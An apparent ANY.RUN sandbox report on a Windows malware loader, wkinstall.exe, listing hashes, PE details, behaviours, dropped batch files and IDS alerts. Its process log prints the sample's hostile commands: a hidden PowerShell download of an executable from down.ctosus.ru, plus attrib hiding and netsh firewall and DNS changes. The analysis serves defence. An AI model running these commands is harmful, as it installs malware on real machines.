| download: | wkinstall.exe |
| Full analysis: | https://app.any.run/tasks/4b8a3aa3-635f-4724-bf04-ff6010a2f9b7 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 25, 2019, 14:58:51 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 133E098690BE61F4E8D59F5D8AC3DA47 |
| SHA1: | F438DD80071AF4E6AE198E1A4D242AB7785AD7BA |
| SHA256: | FCB06A2C84F63CB5E55D00B277865C9729349EAD09E4B798F93EFA19BD539AF3 |
| SSDEEP: | 6144:PsCwu+mWhJifvtNP/7YXSLB80PetF5UhR3pj:kxmIJQvPkitegR3pj |
MALICIOUS
Uses Task Scheduler to run other applications
- cmd.exe (PID: 1876)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 2128)
- schtasks.exe (PID: 4068)
- schtasks.exe (PID: 2140)
Executes PowerShell scripts
- cmd.exe (PID: 1876)
Downloads executable files from the Internet
- powershell.exe (PID: 1636)
SUSPICIOUS
Creates files in the Windows directory
- wkinstall.exe (PID: 2124)
- powershell.exe (PID: 1636)
- cmd.exe (PID: 3556)
Uses NETSH.EXE for network configuration
- cmd.exe (PID: 1876)
- cmd.exe (PID: 2920)
Application launched itself
- wkinstall.exe (PID: 2432)
- cmd.exe (PID: 1876)
Starts CMD.EXE for commands execution
- wkinstall.exe (PID: 2124)
- cmd.exe (PID: 1876)
- mshta.exe (PID: 1772)
Dropped object may contain URLs of mainers pools
- wkinstall.exe (PID: 2124)
- cmd.exe (PID: 1876)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 1876)
Uses ATTRIB.EXE to modify file attributes
- cmd.exe (PID: 1876)
- cmd.exe (PID: 3556)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 3556)
Starts SC.EXE for service management
- cmd.exe (PID: 2920)
Creates or modifies windows services
- netsh.exe (PID: 2924)
Executable content was dropped or overwritten
- cmd.exe (PID: 3556)
- powershell.exe (PID: 1636)
Creates files in the program directory
- cmd.exe (PID: 1876)
Creates files in the user directory
- powershell.exe (PID: 1636)
INFO
Reads internet explorer settings
- mshta.exe (PID: 1772)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:08:11 15:54:06+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 188928 |
| InitializedDataSize: | 69632 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1cec9 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 11-Aug-2017 13:54:06 |
| Detected languages: |
|
| Debug artifacts: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000108 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 11-Aug-2017 13:54:06 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0002E1CB | 0x0002E200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.69427 |
.rdata | 0x00030000 | 0x000098A0 | 0x00009A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.12106 |
.data | 0x0003A000 | 0x0001F290 | 0x00000C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.23719 |
.gfids | 0x0005A000 | 0x000000E8 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 2.05507 |
.rsrc | 0x0005B000 | 0x00004680 | 0x00004800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.73961 |
.reloc | 0x00060000 | 0x00001F58 | 0x00002000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.62297 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.25329 | 1875 | Latin 1 / Western European | Chinese - PRC | RT_MANIFEST |
2 | 3.88998 | 1384 | Latin 1 / Western European | Chinese - PRC | RT_ICON |
3 | 4.12176 | 744 | Latin 1 / Western European | Chinese - PRC | RT_ICON |
4 | 4.68705 | 2216 | Latin 1 / Western European | Chinese - PRC | RT_ICON |
7 | 5.24197 | 182 | Latin 1 / Western European | Chinese - PRC | RT_STRING |
8 | 5.27357 | 214 | Latin 1 / Western European | Chinese - PRC | RT_STRING |
9 | 5.38938 | 202 | Latin 1 / Western European | Chinese - PRC | RT_STRING |
10 | 5.11103 | 116 | Latin 1 / Western European | Chinese - PRC | RT_STRING |
11 | 5.36199 | 642 | Latin 1 / Western European | Chinese - PRC | RT_STRING |
12 | 4.71863 | 148 | Latin 1 / Western European | Chinese - PRC | RT_STRING |
Imports
KERNEL32.dll |
USER32.dll (delay-loaded) |
Total processes
73
Monitored processes
37
Malicious processes
6
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 252 | taskkill -f /im svshosb.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Terminates Processes Exit code: 128 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 388 | attrib +S +H C:\ProgramData\Microsoft\test\open.bat | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 392 | attrib +S +H C:\ProgramData\Microsoft\test\* | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1224 | attrib +S +H C:\ProgramData\Microsoft\test\down.bat | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1356 | netsh ipsec static add filterlist name=Allowlist | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1388 | netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135 | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1448 | attrib +S +H C:\Windows\debug\SYSTEM | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1548 | attrib -S -H C:\ProgramData\Microsoft\test\* | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1636 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://down.ctosus.ru/wget.exe','wget.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1696 | netsh interface ip set dns ▒╛╡╪┴¼╜╙1 static 114.114.114.114 | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 638
Read events
730
Write events
906
Delete events
2
Modification events
| (PID) Process: | (2432) wkinstall.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2432) wkinstall.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2124) wkinstall.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2124) wkinstall.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (1696) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2976) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2976) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-100 |
Value: DHCP Quarantine Enforcement Client | |||
| (PID) Process: | (2976) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-101 |
Value: Provides DHCP based enforcement for NAP | |||
| (PID) Process: | (2976) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-103 |
Value: 1.0 | |||
| (PID) Process: | (2976) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-102 |
Value: Microsoft Corporation | |||
Executable files
2
Suspicious files
2
Text files
12
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1636 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PD4G2BGGW3N3CZRSSS8S.temp | — | |
MD5:— | SHA256:— | |||
| 2124 | wkinstall.exe | C:\Windows\debug\SYSTEM\skycmd.bat | text | |
MD5:— | SHA256:— | |||
| 2124 | wkinstall.exe | C:\Windows\debug\SYSTEM\hosts | text | |
MD5:— | SHA256:— | |||
| 2124 | wkinstall.exe | C:\Windows\debug\SYSTEM\start.bat | text | |
MD5:— | SHA256:— | |||
| 1876 | cmd.exe | C:\ProgramData\Microsoft\test\open.bat | text | |
MD5:— | SHA256:— | |||
| 1636 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11319c.TMP | binary | |
MD5:— | SHA256:— | |||
| 1876 | cmd.exe | C:\ProgramData\Microsoft\test\down.bat | text | |
MD5:— | SHA256:— | |||
| 2124 | wkinstall.exe | C:\Windows\debug\SYSTEM\down.bat | text | |
MD5:— | SHA256:— | |||
| 1636 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2124 | wkinstall.exe | C:\Windows\debug\SYSTEM\start2.bat | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1636 | powershell.exe | GET | 200 | 23.94.62.127:80 | http://down.ctosus.ru/wget.exe | US | executable | 4.18 Mb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1636 | powershell.exe | 23.94.62.127:80 | down.ctosus.ru | ColoCrossing | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
down.ctosus.ru |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1636 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1636 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1636 | powershell.exe | Generic Protocol Command Decode | SURICATA STREAM excessive retransmissions |